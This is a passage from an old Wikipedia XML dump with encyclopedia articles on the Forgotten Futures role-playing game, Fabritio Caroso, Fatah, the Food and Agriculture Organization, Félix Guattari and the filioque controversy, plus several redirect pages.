Rowland pioneered the concept of [[shareware]] role-playing games with this system: users can download the rules from his web site, buy a subscription that entitles them to Forgotten Futures CDs, or buy a copy of the published version of this game. The CDs are also good sources for science fiction books whose copyright has expired.

See also:
*[[Space 1889]]

==External links==
*[http://www.forgottenfutures.com/ Official website]
*http://homepage.ntlworld.com/forgottenfutures/

[[Category:Historical role-playing games]]
[[Category:Science fiction role-playing games]]
[[Category:Steampunk]]
{{rpg-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Fabritio Caroso</title>
    <id>11103</id>
    <revision>
      <id>29985073</id>
      <timestamp>2005-12-03T04:20:36Z</timestamp>
      <contributor>
        <username>LiniShu</username>
        <id>308788</id>
      </contributor>
      <comment>+cat Italian dancers</comment>
      <text xml:space="preserve">'''Fabritio Caroso da Sermoneta''' was a famous Italian [[Renaissance]] [[dancing master]]. 

He was born around 1526-1535 and died around 1605-1620. His dance manual ''Il Ballarino'' was published in 1581, with a subsequent edition, significantly different, ''Nobiltà de dame'', printed in 1600 and again after his death in 1630.

==External links==

* [http://www.pbm.com/~lindahl/caroso/ Caroso's ''Il Ballarino'']
* [http://www.pbm.com/~lindahl/caroso/facsimile/014smallsmall.gif Portrait of Caroso]

{{Italy-bio-stub}}

[[Category:Dancers|Caroso, Fabritio]]
[[Category:Historical dance|Caroso, Fabritio]]
[[Category:Italian dancers|Caroso, Fabritio]]

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[[fr:Fabritio Caroso]]</text>
    </revision>
  </page>
  <page>
    <title>Fatah</title>
    <id>11104</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42086032</id>
      <timestamp>2006-03-03T19:03:37Z</timestamp>
      <contributor>
        <username>FedericoEcon</username>
        <id>873959</id>
      </contributor>
      <comment>/* External links */ rvv</comment>
      <text xml:space="preserve">{{Politics of Palestine}}
'''Fatah''' (Arabic: &amp;#1601;&amp;#1578;&amp;#1581;); a reverse [[acronym]] from the [[Arabic language|Arabic]] name '''Harakat al-Tahrir al-Watani al-Filastini''' (literally: &quot;Palestinian National Liberation Movement&quot;) is a major [[Palestinian]] [[faction]] and the largest constituency of the [[Palestine Liberation Organization]] (PLO), a multi-party [[confederation]].

In the [[January 25]], [[2006]] [[Palestinian legislative election, 2006|parliamentary election]], the party lost its majority in the Palestinian parliament to [[Hamas]], and resigned all cabinet positions, choosing to act as the official [[Opposition (politics)|opposition]], though it will remain as [[provisional government|interim]] government until a new cabinet is formed.

== Meaning of name ==
&quot;Fatah&quot; means &quot;conquest&quot; or literally &quot;opening&quot;, in the [[Arabic language]]. The acronym &quot;FATAH&quot; is created from the complete Arabic name: ''HA''rakat al-''TA''hrir al-Watani al-''F''ilastini, becoming &quot;HATAF&quot;, which, since it means &quot;death&quot; in Arabic, was reversed to become &quot;FATAH&quot;. This word (Fatah) is prominently used for the [[History_of_Islam#The_spread_of_Islam|Islamic expansion]] in the 700s, and so has strongly positive connotations for [[Muslim]]s.

== History ==
[[Image:Fateh-logo.jpg|right|thumb|The Fatah official emblem shows two fists holding [[rifle]]s and a [[hand grenade]] superimposed on a map of historic [[Palestine]] (i.e. the post-1922 [[British Mandate of Palestine|British Mandate]] borders, including present-day [[Israel]], the [[West Bank]] and the [[Gaza Strip]])]]
The movement, which espoused a Palestinian [[nationalist]] [[ideology]] in which [[State of Palestine|Palestine]] would be liberated by the actions of Palestinians, was founded in 1958 or 1959 by members of the Palestinian diaspora - principally professionals working in the [[Gulf States]] who had been refugees in [[Gaza]] and had gone on to study in [[Cairo]]. The most notable of these was [[Yasser Arafat]], who was head of the Palestinian student movement in Cairo from 1952 to 1956. Fatah became the dominant force in Palestinian politics after the 1967 [[Six-Day War]] dealt the [[coup de grâce]] to the Arab nationalism that had inspired [[George Habash]]'s [[Arab Nationalist Movement]]. The November 1959 edition of Fatah's underground journal, ''Filastinuna'', indicated that the movement was motivated by the status of the Palestinian refugees in the Arab world:
&lt;blockquote&gt;
The youth of the catastrophe (''shibab al-nakba'') are dispersed... Life in the tent has become as miserable as death... [T]o die for our beloved Fatherland is better and more honorable than life, which forces us to eat our daily bread under humiliations or to receive it as charity at the cost of our honour... We, the sons of the catastrophe, are no longer willing to live this dirty, despicable life, this life which has destroyed our cultural, moral and political existence and destroyed our human dignity. (quoted in Baumgarten, 2005, p. 32).
&lt;/blockquote&gt;
From the beginning the armed struggle, as manifested in the [[Great Uprising]] of 1936-1939 and the military role of  Palestinian fighters under the leadership of [[Abd al-Qadir al-Husayni]] in the [[1948 Arab-Israeli War]], was central to Fatah's ideology. Fatah joined the PLO and won the [[leadership]] role in 1969, after which the other consitutent members the [[Popular Front for the Liberation of Palestine]] and the [[Democratic Front for the Liberation of Palestine]] were marginalized. According to the [[BBC]], &quot;Mr Arafat took over as chairman of the executive committee of the PLO in 1969, a year that Fatah is recorded to have carried out 2,432 [[guerrilla warfare|guerrilla]] attacks on Israel.&quot; ([http://news.bbc.co.uk/1/hi/in_depth/middle_east/israel_and_the_palestinians/profiles/1371998.stm]).

Fatah's first ever guerilla attack came on [[January 3]], 1965, when they attempted to sabotage the Israeli [[National Water Carrier]], which had recently started operation. The attack was thwarted by the [[Israeli Security Forces]].

Fatah's commanders were expelled to [[Lebanon]] from [[Jordan]] following violent confrontations with Jordanian forces during the period 1970&amp;ndash;1971, beginning with [[Black September in Jordan|Black September]] in 1970.  

In the 1960s and the 1970s, Fatah provided training to a wide range of [[Europe]]an, [[Middle East]]ern, [[Asia]]n, and [[Africa]]n militant and insurgent groups, and carried out numerous attacks against Israeli targets in [[Western Europe]] and the Middle East during the 1970s. Some militant groups that affiliated themselves to Fatah, and some of the ''fedayeen'' within Fatah itself, carried out civilian plane [[hijacking]]s and [[terrorism|terrorist]] attacks, attributing them to [[Black September (group)|Black September]], [[Abu Nidal]]'s [[Fatah-Revolutionary Council]], [[Said_al-Muragha|Abu Musa]]'s group, the [[PFLP]], and the [[PFLP-GC]]. 

Fatah received weapons, explosives and training from the former [[Soviet Union|USSR]] and the former [[Communist]] regimes of [[East Europe]]an states. [[People's Republic of China|China]] has also provided some weapons. 

When Israel invaded [[Lebanon]] in 1982, the faction was dispersed to several Middle Eastern countries with the help of US and other Western governments: [[Tunisia]], [[Yemen]], [[Algeria]], [[Iraq]] and others. In the period 1982-1993, Fatah's leadership resided in [[Tunisia]].

Until his death, Arafat was the head of the [[Palestinian Authority]]. [[Farouk Kaddoumi]] is the current Fatah chairman, elected to the post soon after Arafat's death in 2004.

Fatah has &quot;Observer Party&quot; status at the [[Socialist International]].

Fatah endorsed [[Mahmoud Abbas]] in the [[Palestinian presidential election, 2005|Palestinian presidential election of 2005]]. 

In 2005, [[Hamas]] won landslide victories in nearly all the municipalities it [[Palestinian municipal election, 2005|contested]]. Fatah is &quot;widely seen as being in desperate need of reform&quot;, as &quot;the PA's performance has been a story of corruption and incompetence - and Fatah has been tainted.&quot; Political analyst Sallah Abdelshafi told BBC about the difficulties of Fatah leadership: &quot;I think it's very, very serious - it's becoming obvious that they can't agree on anything.&quot; [http://news.bbc.co.uk/1/hi/world/middle_east/4386355.stm]

On [[December 14]], [[2005]], jailed [[intifada]] leader [[Marwan Barghouti]] announced that he had formed a new political party, ''[[al-Mustaqbal]]'' (&quot;The Future&quot;), mainly composed of members of Fatah's &quot;Young Guard.&quot; These younger leaders have repeatedly expressed frustration with the entrenched corruption in the party, which has been run by the &quot;Old Guard&quot; who returned from exile in [[Tunisia]] following the [[Oslo Accords]]. al-Mustaqbal was to compete against Fatah in the [[Palestinian legislative election, 2006|January 2006 Palestinian legislative election]], presenting a list including [[Mohammed Dahlan]], [[Kadoura Fares]], [[Samir Mashharawi]] and [[Jibril Rajoub]] on [[December 14]][http://www.jpost.com/servlet/Satellite?cid=1134309581046&amp;pagename=JPost%2FJPArticle%2FShowFull] [http://dwb.newsobserver.com/24hour/world/story/2979990p-11657995c.html]. However, on [[December 28]], [[2005]], the leadership of the two factions agreed to submit a single list to voters, headed by Barghouti, who began actively campaigning for Fatah from his jail cell. 

Reactions to the news have been split. Some have suggested that the move could be a positive step towards peace, as Barghouti's new party could help reform major problems in Palestinian government. Others have raised concern that it could wind up splitting the Fatah vote, inadvertently helping Hamas. Barghouti's supporters argue that al-Mustaqbal will split the votes of both parties, both from disenchanted Fatah members as well as moderate Hamas voters who do not agree with Hamas' political goals, but rather its social work and hard position on corruption. Some observors have also hypothesized that the formation of Mustaqbal is mostly a negotiating tactic to get members of the young guard into higher positions of power within Fatah and its electoral list. A variant theory, highly plausible, is that after the elections, Mustaqbal will either be partially re-incorporated into Fatah, or will function as part of a Parliamentary coalition with it in opposition to Hamas and other political rivals. [http://www.nytimes.com/2005/12/15/international/middleeast/15cnd-mide.html]

Some editorialists have drawn a parallel between Barghouti's split from Fatah and the upheaval in Israeli party politics resulting from [[Ariel Sharon]]'s leaving the [[Likud]] to form [[Kadima]].[http://www.haaretz.com/hasen/spages/659182.html][http://www.democracyarsenal.org/2005/11/is_marwan_bargh.html]

== Participation in the peace process and controversies ==
Yasser Arafat signed the [[Oslo Accords|Declaration of Principles]] with [[Israel]] in 1993 and exchanged mutual renounce of terrorism with Israel mutual recognition between PLO and Israel, and was allowed to return to the [[Palestinian territories]] from exile in [[Tunisia]]. The PNC met in a special session on 26 April 1996 to consider the issue of amending the Charter and assigned its legal committee the task of redrafting the Palestinian National Charter consistent with the Arafat letters in order to present it for approval. [http://www.pna.gov.ps/Government/gov/plo_Charter.asp] A redrafted charter that does not call for the destruction of Israel has yet to be presented or approved and the official PNA website displays the original, unamended text of the PNC Charter. According to the US [[Department of State]], &quot;The Palestinian National Charter... [was] amended by canceling the articles that are contrary to the letters exchanged between the P.L.O. and the Government of Israel 9-[[10 September]] [[1993]].&quot; [http://www.state.gov/p/nea/rls/22573.htm]

The group has been accused of continuing attacks against Israeli civilians, and of supporting [[guerrilla warfare]] against Israeli soldiers and settlers in the [[West Bank]] and [[Gaza Strip]] and against the security forces inside Israel as a part of the [[Al-Aqsa Intifada]], started in 2000 after the failure of the [[Camp David 2000 Summit]].

Those who hold that some forces within the leadership of Fatah still have a goal to destroy Israel, find the evidence in quotes such as [[Farouk Kaddoumi]]'s November, 2004 interview to Iran's Al-Aram TV station ([http://www.memritv.org/search.asp?ACT=S9&amp;P1=390], [http://www.worldtribune.com/worldtribune/breaking_9.html]):
:- ''Kaddoumi:'' [There are] 300 Million Arabs, while Israel has only the sea behind it.
:- ''Interviewer:'' Minister, how do you see the future of Palestine?
:- ''Kaddoumi:'' At this stage there will be two states. Many years from now there will be only one.

== Fatah armed factions ==
* Quwwat Al-Sa'eqa
* [[Black September (group)|Black September]] (operated mainly in the 1970s)
* [[Hawari Special Operations Group]]
* [[Tanzim]] 
* [[Al-Aqsa Martyrs' Brigades]]
* [[Abu Reish Brigades]]
* [[Fatah Hawks]]
* [[Force 17]]

While Quwwat Al-Sa'eqa are the official armed body of Fatah movement, many of the other factions have never been officially recognized by Fatah's major leading bodies: The Revolutionary Council and The Central Committee. At many instances, some of those factions were considered rebellious and outlawed by the Fatah official bodies, especially the [[Black September (group)|Black September]] group.

==See also==
* [[Mahmoud Abbas]]
* [[Farouk Kaddoumi]]
* [[Yasser Arafat]]
* [[Ahmed Qurei]]
* [[Marwan Barghouti]]
* [[Israeli-Palestinian conflict]]
* [[PLO]]

==References==
*Baumgarten, Helga (2005). The three faces/phases of Palestinian nationalism, 1948-2005. ''Journal of Palestine Studies'', 34(4), 25-48.

==External links==
'''Websites by Fatah Offices'''
* [http://www.fateh.net/ Fatah's Intellectual office website]
* [http://www.alkrama.com/ Al-Krama Newspaper (Fatah's PR Office)]

[[Category:Israeli-Palestinian conflict]]
[[Category:National liberation movements]]
[[Category:Political parties in Palestine]]
[[Category:Socialist International]]
[[Category:Palestinian militant groups]]

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    </revision>
  </page>
  <page>
    <title>Forteana</title>
    <id>11105</id>
    <revision>
      <id>15908870</id>
      <timestamp>2004-09-08T19:39:57Z</timestamp>
      <contributor>
        <username>StoatBringer</username>
        <id>101833</id>
      </contributor>
      <comment>Turned into a redirect to Fort, as the content was all redundant and is explained in better detail on the Charles Fort page</comment>
      <text xml:space="preserve">#REDIRECT [[Charles Fort]]</text>
    </revision>
  </page>
  <page>
    <title>Francesco Boromini</title>
    <id>11106</id>
    <revision>
      <id>15908871</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>151.24.188.90</ip>
      </contributor>
      <comment>#REDIRECT [[Francesco Borromini]]</comment>
      <text xml:space="preserve">#REDIRECT [[Francesco Borromini]]</text>
    </revision>
  </page>
  <page>
    <title>Food and Agriculture Organization</title>
    <id>11107</id>
    <revision>
      <id>40849339</id>
      <timestamp>2006-02-23T11:53:31Z</timestamp>
      <contributor>
        <username>Kcordina</username>
        <id>643099</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/62.253.245.100|62.253.245.100]] to last version by Kcordina</comment>
      <text xml:space="preserve">{{redirect|FAO}}
[[Image:FAO logo.gif|thumb|250px|FAO emblem]]
With its headquarters in [[Rome]], the '''Food and Agriculture Organization''' (FAO) is a specialized agency of the [[United Nations]] that works to raise levels of [[nutrition]] and [[standard of living|standards of living]]; to improve the production, processing, marketing, and distribution of [[food]] and agricultural products; to promote [[rural]] development; and, by these means, to eliminate [[hunger]].  In the past, the United States and several European nations have contributed to this organization by providing blankets, food, shelter, and mung beans to those in need. Its [[Latin]] motto, ''[[Fiat lux|fiat panis]],'' translates into English as &quot;let there be bread&quot;. 

The FAO was founded in [[1945]] in [[Quebec City]], [[Quebec]], [[Canada]]. In [[1951]] the headquarters were moved from [[Washington, D.C.]], [[United States]], to [[Rome]], [[Italy]]. As of [[November 26]], [[2005]], it had 189 members (188 states and the [[European Community]], [http://www.fao.org/unfao/govbodies/membernations3_en.asp List of FAO members]).

The main activities concentrate on four areas:
# Developing assistance to [[developing countries]].
# Information about nutrition, food, [[agriculture]], [[forestry]] and [[fishery]].
# Advice to governments.
# Neutral forum to discuss and formulate [[policy]] on major food and agriculture issues.

==Specific programmes==
FAO's efforts to eliminate the Mediterranean [[Tephritidae|fruit fly]] from the [[Caribbean Basin]] have benefitted the [[United States|U.S.]] citrus industry. Likewise, U.S. [[cattle]] raisers have a direct stake in FAO efforts to eliminate a [[tick]] found in the Caribbean that carries a threatening cattle disease.

==External links==
*[http://www.fao.org/ Website of the FAO]

*[http://www.fao.org/statistics   Website of the FAO Statistics Division]

** [http://www.fao.org/fi/default.asp FAO Fisheries Department] and its [http://www.fao.org/sof/sofia/index_en.htm SOFIA 2004 report]
***[http://www.greenfacts.org/fisheries/index.htm State of World Fisheries ] &amp;ndash;  A summary for non-specialists of the above FAO report by [[GreenFacts]].
** [http://www.fao.org/ag/ FAO Agriculture Department] and its [http://www.fao.org/docrep/006/y5160e/y5160e00.HTM SOFA 2003-2004 report]
*** [http://www.greenfacts.org/gmo/index.htm State of Food and Agriculture - GM Crops] &amp;ndash;  A summary for non-specialists of the above FAO report by [[GreenFacts]].
*[http://www.fao.org/faostat   Website of the FAO Statistics Division's new FAOSTAT project]

[[Category:United Nations specialized agencies]]
[[Category:Agriculture]]
[[Category:Agriculture organizations]]
[[Category:1945 establishments]]

[[cs:Organizace pro výživu a zemědělství]]
[[da:FAO]]
[[de:Food and Agriculture Organization]]
[[es:Organización para la Alimentación y la Agricultura]]
[[eo:Organizaĵo pri Nutrado kaj Agrikulturo]]
[[fr:Organisation des Nations unies pour l'alimentation et l'agriculture]]
[[id:Organisasi Pangan dan Pertanian]]
[[it:FAO]]
[[nl:Voedsel- en Landbouworganisatie]]
[[ja:国際連合食糧農業機関]]
[[nn:FAO]]
[[pt:Organização das Nações Unidas para a Agricultura e a Alimentação]]
[[ru:Продовольственная и сельскохозяйственная организация ООН]]
[[tr:Gıda ve Tarım Teşkilatı]]
[[zh:联合国粮食及农业组织]]</text>
    </revision>
  </page>
  <page>
    <title>FAO (disambiguation)</title>
    <id>11108</id>
    <revision>
      <id>39375010</id>
      <timestamp>2006-02-12T19:24:20Z</timestamp>
      <contributor>
        <username>Ravn</username>
        <id>47881</id>
      </contributor>
      <minor />
      <comment>moved [[FAO]] to [[FAO (disambiguation)]]: almost all links point to [[Food and Agriculture Organization]]</comment>
      <text xml:space="preserve">'''FAO''' can mean:

* [[Food and Agriculture Organization]]
* [[Faro Airport (Portugal)]], IATA airport code
* For (The) Attention Of
{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Félix Guattari</title>
    <id>11109</id>
    <revision>
      <id>40454667</id>
      <timestamp>2006-02-20T18:00:05Z</timestamp>
      <contributor>
        <username>Bacchiad</username>
        <id>53236</id>
      </contributor>
      <text xml:space="preserve">'''Pierre-Félix Guattari''' ([[1930]] - [[1992]]) was a [[France|French]] pioneer of institutional psychotherapy, as well as the founder of both ''[[Schizoanalysis]]'' and the science of [[Ecosophy]]. 

==Biography==

=== Clinic of La Borde ===

Not very well known to the general public, Pierre Félix Guattari was in the [[1960s]] to become a central figure defining the events of [[May 1968]] and its aftermath. Born on [[March 30]], [[1930]] in Villeneuve-les-Sablons, Guattari first made his way into the history of Psychiatry, Philosophy, and French Militancy with the meeting of [[Fernand Oury]], a craftsman engaged in the future movement of institutional Pedagogy.  Encouraged by the brother of Fernand, [[Jean Oury]], psychiatrist, the young Guattari became impassioned from 1950 towards the practice of psychiatry. Due to his frustrations with the theories and methods of French psychoanalyst [[Jacques Lacan]] -- in relation to whom he was both student and patient (analysand) in the 1950s -- Guattari was further convinced that he needed to continue exploring as vast an array of domains as possible ([[philosophy]], [[ethnology]], [[linguistics]], [[architecture]], etc.,) in order to better define the orientation, delimitation and psychiatric efficacity of the practice. Psychoanalysis was too authoritarian in its insistence that the analyst was somehow closer to the Truth than the patient. Beyond this, as Guattari would later proclaim, psychoanalysis is &quot;the best capitalist drug&quot; because in it desire is confined to a couch: desire, in Lacanian psychoanalysis, is an energy that is contained rather than one that, if freed, could militantly engage itself in something different. He continued this research, collaborating in Jean Oury's private clinic of [[La Borde]] at Court-Cheverny, one of the main centers of institutional psychotherapy at the time. La Borde was a venue for conversation amongst innumerable students of philosophy, psychology, ethnology, and social work. La Borde was Félix Guattari's principal anchoring -- a refusal to be anchored! -- until his death in [[1992]].

=== 1960s to 1970s === 

From 1955 to 1965, Félix Guattari animated the [[trotskyist]] group ''Voie Communiste'' (&quot;Communist Way&quot;). He would then support [[anticolonialist]] struggles as well as the Italian ''[[Autonomists]]''. Guattari also took part in the movement of the psychological G.T., which gathered many psychiatrists at the beginning of the sixties and created the Association of Institutional Psychotherapy in November [[1965]]. It was at the same time that he founded, along with other militants, the F.G.E.R.I. (Federation of Groups for Institutional Study &amp; Research) and its review research, working on philosophy, mathematics, psychoanalysis, education, architecture, ethnology, etc.  The F.G.E.R.I. came to represent aspects of the multiple political and cultural engagements of Félix Guattari:  the Group for Young Hispanics, the Franco-Chinese Friendships (in the times of the popular communes), the opposition activities with the wars in [[Algerian War of Independence|Algeria]] and Vietnam, the participation in the M.N.E.F., with the U.N.E.F., the policy of the offices of psychological academic aid (B.A.P.U.), the organisation of the University Working Groups (G.T.U.), but also the reorganizations of the training courses with the Centers of Training to the Methods of Education Activities (C.E.M.E.A.)  for psychiatric male nurses, as well as the formation of Friendly Male Nurses (Amicales d'infirmiers)(in [[1958]]), the studies on architecture and the projects of construction of a day hospital of for &quot;students and young workers&quot;.  

Although heavily influenced by the work of Lacan, he would later come to take many distances with respect to the theoretical elaboration of certain concepts and practices.  He was one of the actors in the events of May 1968, starting from the [[Movement of March 22]].  It was at this time that Guattari met [[Gilles Deleuze]] at the University of Vincennes and began to lay the ground-work for the soon to be infamous ''[[Anti-Oedipus]]'' (1972). Throughout his career it may be said that his writings were at all times correspondent in one fashion or another with sociopolitical and cultural engagements. In 1967, he appeared as one of the founders of OSARLA (Organization of solidarity and Aid to the Latin-American Revolution).  It was with the head office of the F.G.E.R.I. that he meet, in [[1968]], [[Daniel Cohn-Bendit]], [[Jean-Jacques Lebel]], and [[Julian Beck]].  In [[1970]], he created C.E.R.F.I. (Center for the Study and Research of Institutional Formation), which takes the direction of the Recherches review. In 1977, he created the CINEL for &quot;new spaces of freedom&quot; before joigning in the 1980s the [[ecological]] movement with his &quot;ecosophy&quot;.

== 1980s to 1990s ==

In his last book, ''Chaosmose'' ([[1992]]), the topic of which is already partially developed in ''What is Philosophy?'' (1991, with Deleuze), Félix Guattari takes again his essential topic:  the question of subjectivity.  &quot;How to produce it, collect it, enrich it, reinvent it permanently in order to make it compatible with mutant Universes of value?&quot;  This idea returns like a leitmotiv, from ''Psychanalyse and transversality'' (a regrouping of articles from [[1957]] to [[1972]]) through ''Années d'hiver'' ([[1980]] - [[1986]]) and ''Cartographies Schizoanalytique'' ([[1989]]).  He insists on the function of &quot;a-signification&quot;, which plays the role of support for a subjectivity in act, starting from four parameters:  &quot;significative and semiotic flows, Phylum of Machanic Propositions, Existential Territories and Incorporeal Universes of Reference.&quot;

In 1995, the posthumous release ''Chaosophy'' featured Guattari's first collection of essays and interviews focuses on the French anti-psychiatrist and theorist's work as director of the experimental La Borde clinic and collaborator of philosopher Gilles Deleuze. Chaosophy is a groundbreaking introduction to Guattari's theories on &quot;schizo-analysis&quot;, a process meant to replace [[Sigmund Freud]]'s interpretation with a more pragmatic, experimental, and collective approach rooted in reality. Unlike Freud, Guattari believes that schizophrenia is an extreme mental state co-existent with the capitalist system itself. But capitalism keeps enforcing neurosis as a way of maintaining normality. Guattari's post-Marxist vision of capitalism provides a new definition not only of mental illness, but also of micropolitical means of subversion. It includes key essays such as &quot;Balance-Sheet Program for Desiring Machines,&quot; cosigned by Deleuze (with whom he coauthored Anti-Oedipus and A Thousand Plateaus), and the provocative &quot;Everybody Wants To Be a Fascist.&quot; 

''Soft Subversions'' is another collection of Félix Guattari's essays, lectures, and interviews traces the militant anti-psychiatrist and theorist's thought and activity throughout the 1980s (&quot;the winter years&quot;). Concepts such as &quot;micropolitics,&quot; &quot;schizoanalysis,&quot; and &quot;becoming-woman&quot; open up new horizons for political and creative resistance in the &quot;postmedia era.&quot; Guattari's energetic analyses of art, cinema, youth culture, economics, and power formations introduce a radically inventive thought process engaged in liberating subjectivity from the standardizing and homogenizing processes of global capitalism.

== Works ==

*''Molecular Revolution''

Books written in collaboration with Gilles Deleuze:

*''[[Anti-Oedipus]]'' ([[1972]])
*''Kafka: Towards a Minor Literature''
*''[[A Thousand Plateaus]]'' ([[1980]])
*''What Is Philosophy?'' ([[1991]])
(these are the English translations; dates are from French editions.)

==Other books==
*''Chaosmosis'' ([[1992]])
*''Chaosophy'' ([[1995]]) : 
*''Soft Subversions'' ([[1996]])
*''Three Ecologies'' ([[2000]]) 

==External links==
*[http://www.revue-chimeres.org/guattari/guattari.html Chimeres site on Guattari (in French)]

[[Category:1930 births|Guattari, Félix]]
[[Category:1992 deaths|Guattari, Félix]]
[[Category:French anarchists|Guattari, Félix]]
[[Category:Postmodern theory|Guattari, Félix]]
[[Category:Psychoanalytic theory|Guattari, Félix]]
[[Category:Psychoanalysts|Guattari]]
[[Category:Anti-psychiatry|Guattari]]
[[Category:Psychotherapy|Guattari]]
[[Category:French writers|Guattari]]
[[Category:French philosophers|Guattari]]
[[Category:Political philosophers|Guattari]]
[[Category:Deleuze-Guattari]]

[[de:Félix Guattari]]
[[fr:Félix Guattari]]
[[ja:フェリックス・ガタリ]]
[[pt:Félix Guattari]]</text>
    </revision>
  </page>
  <page>
    <title>Filioque clause</title>
    <id>11110</id>
    <revision>
      <id>42021654</id>
      <timestamp>2006-03-03T07:11:28Z</timestamp>
      <contributor>
        <username>Jwrosenzweig</username>
        <id>15111</id>
      </contributor>
      <comment>/* Historical origins */  Adding subsections, which probably need tweaking, to a ridiculously long section that was near unnavigable without them</comment>
      <text xml:space="preserve">{{Christian theology}}

In [[Christianity|Christian]] [[theology]] the '''filioque clause''' or '''filioque controversy''' (''filioque'' meaning &quot;and [from] the Son&quot;) is a disputed part of the [[Nicene Creed]] and is most often referred to as simply &quot;filioque&quot; or &quot;the filioque.&quot;

== Explanation of the creed ==

Following John 15:26b, the Nicene-Constantinopolitan Creed states that the [[Holy Spirit]] &quot;proceeds from the Father.&quot;  The creed was first  promulgated at the [[First Council of Nicea]] in [[325]] without the section on the Holy Spirit elaborated. It was then modified at the [[First Council of Constantinople]] in [[381]] to include this phrase on the origin of the Spirit. (Hence, the Nicene creed is often called &quot;Nicene-Constantinopolitan&quot; or &quot;Niceno-Constantinopolitan.&quot;) This creed was not officially received until the Council of Chalcedon in 451.

In thinking about God as Father, Son, and Spirit, the [[Trinity]],  following Jesus (Matt 28:19), Christians from early times have made some important distinctions.  The Son and the Spirit are said to have their eternal origin from the Father;  the Son, the eternal Divine Logos (John 1:1) is &quot;generated&quot; (&quot;born&quot; or &quot;begotten&quot;) of the Father, while the Spirit &quot;proceeds&quot; from the Father.  These statements are made in reference to the being of God, from all eternity, &quot;before all ages&quot; in the words of the Nicene Creed.  

On the one hand, the Nicene Creed and the Bible do not say explicitly that the Holy Spirit proceeds from the Son as well as the Father; that is, there is no statement that the Spirit's eternal origin is found anywhere but in the Father. To be sure, Christians found evidence for a connection between the Son and the Spirit. For example, the [[New Testament]] teaches that the Spirit testifies to the Son (1 Jn 5:6) and is called the &quot;Spirit of Christ&quot; (Rom 8:9;15:5; Phil 1:19; 1 Pet 1:1) and &quot;Spirit of [the] Son&quot; (Gal 4:6). The [[Church Fathers]] further explained that the Father, Son, and Holy Spirit are &quot;of one essence&quot; (''[[Consubstantial|substantia]]/[[Ousia|ousia]]'') and have one common will and activity, with regard to their external actions (''actiones ad extra'').  This tradition continued to be reaffirmed in both East and West, unanimously in medieval times by the Scholastic theologians. (See [[Scholastic Philosophy]]).  In this second, &quot;economic&quot; sense, God is said to send us the Spirit through the Son (Acts 2:33; Titus 3:6).  

On the other hand, while the New Testament teaches that there is a connection between the Son and the Spirit, the divinity of the Son and the Spirit may not be entirely clear from Scripture alone. Many theologians historically have been unconvinced by the texts, and readily quoted the Scripture in defense of their denials of the Trinity, see [[Nontrinitarianism]]. For this reason, over the years, creeds, decrees, hymns, and prayers have been formulated, in order to clarify, defend, and make explicit this doctrine. The ''filioque'' is one such attempt.

==Historical origins==
As [[Johannes Grohe]] has pointed out, a regional council in [[Persia]] in 410 introduced one of the earliest forms of the ''filioque'' in the Creed; the council specified that the Spirit proceeds from the Father &quot;and from the Son.&quot;  Coming from the rich theology of early [[East Syrian Christianity]], this expression in this context is authentically Eastern. Therefore, the ''filioque'' cannot be attacked as a solely Western innovation, nor as something created by the Pope.

In the West, St. [[Augustine of Hippo]] followed Tertullian and Ambrose in teaching that the Spirit proceeded from the Father ''and'' the Son, though subordinate to neither. His theology was dominant in the West until the Middle Ages, including his theology of the Trinity.  Other Latin fathers also spoke of the Spirit proceeding from both the Father and the Son. While familiar in the West, this way of speaking was virtually unknown in the Greek-speaking, Eastern Roman Empire.

===Its first addition===
In the Latin-speaking Church, the phrase ''and the Son'' (in [[Latin]] '''filioque''') was first added to the [[Nicene Creed]] at the [[Synod]] of [[Toledo, Spain|Toledo]] in [[Spain]] in [[447]]. The formula was used in a letter from [[Pope Leo I]] to the members of that synod, responding to [[heresies]] they were confronting. (Primarily, it was added to the Creed in order to oppose the [[Arianism|Arian]] heresy, which taught that the Son was a creature and not God. This heresy began with [[Arius]], a priest of Alexandria.) At the third synod of Toledo in [[589]], the ruling  [[Visigoths]], who had been [[Arianism|Arian]] [[Christianity|Christians]], submitted to the Catholic Church. They were obliged to accept the Nicene Creed with the ''filioque''.

(In the East, Arianism was opposed, not with the ''filioque'' but rather with an orientation of many of the prayers of the Divine Liturgy to &quot;Christ Our God.&quot;  This development in the East, with a comparable dogmatic concern, occurred in the fourth century, when Arianism in the East was widespread and greatly controverted.)

Although the second [[Ecumenical Council]] ([[381]]) at Constantinople had expanded and completed the Nicene Creed begun at the first Ecumenical Council ([[325]]), the third Ecumenical Council, the [[Council of Ephesus]] in [[431]], had forbidden any further changes to it. The text that had been revised at Constantinople, however, was not made normative until the Council of Chalcedon, in 451. 

Rome received the [[Council of Chalcedon]] ([[451]]), which referred to preceding councils, citing the authority of the text of the Creed.  However, at this time, central Italy was in a state of collapse.  In [[410]] and [[455]], Rome was sacked and plundered. In [[476]], the Western Roman Empire fell, with the exile of Romulus Augustulus, the last emperor. In the West, chaos followed.

After generations of social upheaval, strong leadership appeared in the person of [[Pippin the Younger]], king of the [[Franks]], and his son, [[Charlemagne]], crowned as emperor in 800.  Charlemagne intended to restore the Roman Empire in the West, with himself in charge, to the chagrin of the leaders of the Eastern Roman Empire.

===East/West tensions over the ''filioque''===
Some historians have suggested that the Franks in the [[ninth century]] tried to pressure the Pope to adopt the ''filioque'' in order to drive a wedge between the Roman Church and the other patriarchates. It is true that the ''filioque'' had come into wide use in the West and was widely thought to be an integral part of the Creed--in fact, most thought that the Greek churches were in error for omitting it. Similarly, unleavened bread had come to be thought of as the normal kind of bread for the Eucharist; diocesan priests were expected to be unmarried. Contemporary usage was thought to be normative and authentic. In these matters of discipline, the influence of the Franks is certain.  They intended to exalt Charlemagne as the new Roman Emperor. The Catholic religion, as they knew it, was to be part of the package. (Meanwhile, from c. 726 to 843, the Eastern Roman Empire, under the thumb of successive emperors,  was dominated by the heresy of [[iconoclasm]].)

Within a couple of generations, in [[858]], a  new situation came to pass.  The Byzantine Emperor Michael III removed [[Patriarch Ignatius I]] as Patriarch of Constantinople. The emperor replaced him with a layman, [[Photius]], who was the first Imperial Secretary and Imperial Ambassador to Baghdad.  However, Ignatius refused to abdicate. Michael and Photius asked Pope Nicholas I of Rome to settle the matter. His legates, exceeding their authority, probably under pressure from Byzantine leadership, took part in a synod in [[861]] that deposed Ignatius.

